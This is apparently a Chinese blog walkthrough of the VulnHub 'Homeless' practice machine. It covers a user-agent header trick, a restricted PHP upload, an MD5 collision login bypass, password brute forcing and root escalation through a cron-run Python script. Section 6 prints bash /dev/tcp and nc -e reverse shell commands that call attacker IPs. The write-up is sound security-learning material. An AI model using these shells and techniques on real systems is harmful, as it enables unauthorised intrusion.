靶机下载地址:https://www.vulnhub.com/entry/homeless-1,215/

1.前情概述

那一天,作为一个web萌新的我,被队友诱惑玩了这个靶场,查着google,看着baidu,终于做出来了,过程很艰辛,但是学到了新姿势,特地来记录一下,首先对于vulnhub靶场,第一件事就是扫描端口+信息收集了:

2.端口扫描

namp 端口扫描,发现目标主机开放两个端口,一个是web应用80端口,另一个是ssh的22端口。

Vulnhub靶机Homeless实战笔记-Alkaid

那就啥都8说了,先访问下80端口的内容。

3.脑洞?改写UA头

Vulnhub靶机Homeless实战笔记-Alkaid

网页挺好看的,额,先看下源代码,发现什么都没有,之后就陷入自闭中了,只能从网上找到了大佬的WP,才知道这里要修改UA头,还是从一张图片找到的,本以为摆脱了脑洞题,结果现实还是残酷的。

Vulnhub靶机Homeless实战笔记-Alkaid

利用burpsuit改写UA头,或者利用curl指令的-A参数修改UA头,获得文件上传的url:

curl指令的常见使用方法

Vulnhub靶机Homeless实战笔记-Alkaid

4.文件上传

Vulnhub靶机Homeless实战笔记-Alkaid

到了文件上传,兴高采烈地掏出了小马,拿出了蚁剑准备连接,结果显示我上传的文件过大,纳尼,我还没上传大马呢。。。。

经过burp抓包,终于发现了其中的奥秘,这里有长度限制,没法上传一句话木马,但是可以上传一句话php命令,所以我们需要构造一条短小精悍的php语句。

Vulnhub靶机Homeless实战笔记-Alkaid

上传成功后,访问页面可得:

Vulnhub靶机Homeless实战笔记-Alkaid

直接查看这个可疑的txt文件,可以从中得到下一关的url地址。

5.MD5比较绕过

Vulnhub靶机Homeless实战笔记-Alkaid

首先下载源代码,分析一波,发现是post传入username,password,code的值,比较传入的不相等并且md5后的值需要相同。

这个里面md5是用===全等来进行比较的,普通的数组绕过不了,这个样子只能是传三个值不同,但是md5相同的文件进去了,我使用了github上的一个项目:

Vulnhub靶机Homeless实战笔记-Alkaid

利用python3 gen_coll_test.py生成了一堆md5相同的文件

Vulnhub靶机Homeless实战笔记-Alkaid

再利用curl,将文件当做参数传入:

Vulnhub靶机Homeless实战笔记-Alkaid

得到了cookie,这样就可以登录到admin页面了

Vulnhub靶机Homeless实战笔记-Alkaid

6.命令执行

Vulnhub靶机Homeless实战笔记-Alkaid

既然可以执行命令,我们当然先反弹一个shell回来:

bash -i >& /dev/tcp/172.17.135.75/4444 0>&1

nc -e /bin/bash 222.182.111.129 4444

在用户家目录找到提示,应该是要找python文件:

Vulnhub靶机Homeless实战笔记-Alkaid

思路在这个时候断了,只好去看别人的题解,原来这个地方需要提权,利用robots.txt和作者的提示,利用kali的rockyou字典并且密码开头为sec,进行爆破。

然后再用pass.txt爆破,爆破成功,密码为secretlyinlove,之后ssh连接上去,查看下之前没有权限查看的文件:

Vulnhub靶机Homeless实战笔记-Alkaid

7.提权成ROOT

Vulnhub靶机Homeless实战笔记-Alkaid

在目录里发现了提示有一个邮件,并且查看了py文件的内容,执行system命令date

Vulnhub靶机Homeless实战笔记-Alkaid

看下邮件,发现这个py文件是定时用root权限运行的,所以我们有权限修改python文件的内容,就可以用root权限执行各种命令,但是python脚本一直都是执行失败,我去网上找到了原因,

Vulnhub靶机Homeless实战笔记-Alkaid

之后就是修改脚本,获取root文件夹下的flag了

Vulnhub靶机Homeless实战笔记-Alkaid

Vulnhub靶机Homeless实战笔记-Alkaid

最后得到flag

Vulnhub靶机Homeless实战笔记-Alkaid